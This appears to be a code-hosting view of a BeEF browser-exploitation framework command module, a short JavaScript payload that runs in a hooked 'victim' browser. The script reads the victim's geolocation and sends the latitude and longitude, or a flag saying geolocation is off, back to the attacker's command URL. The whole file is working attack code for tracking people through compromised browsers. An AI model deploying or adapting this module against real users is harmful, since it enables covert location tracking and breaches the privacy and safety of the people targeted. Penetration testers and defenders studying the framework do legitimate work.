git-svn-id: https://beef.googlecode.com/svn/trunk@520 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
10 lines
302 B
JavaScript
10 lines
302 B
JavaScript
beef.execute(function() {
|
|
|
|
if(beef.geolocation.isGeolocationEnabled()){
|
|
beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>);
|
|
}else{
|
|
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude=");
|
|
}
|
|
});
|
|
|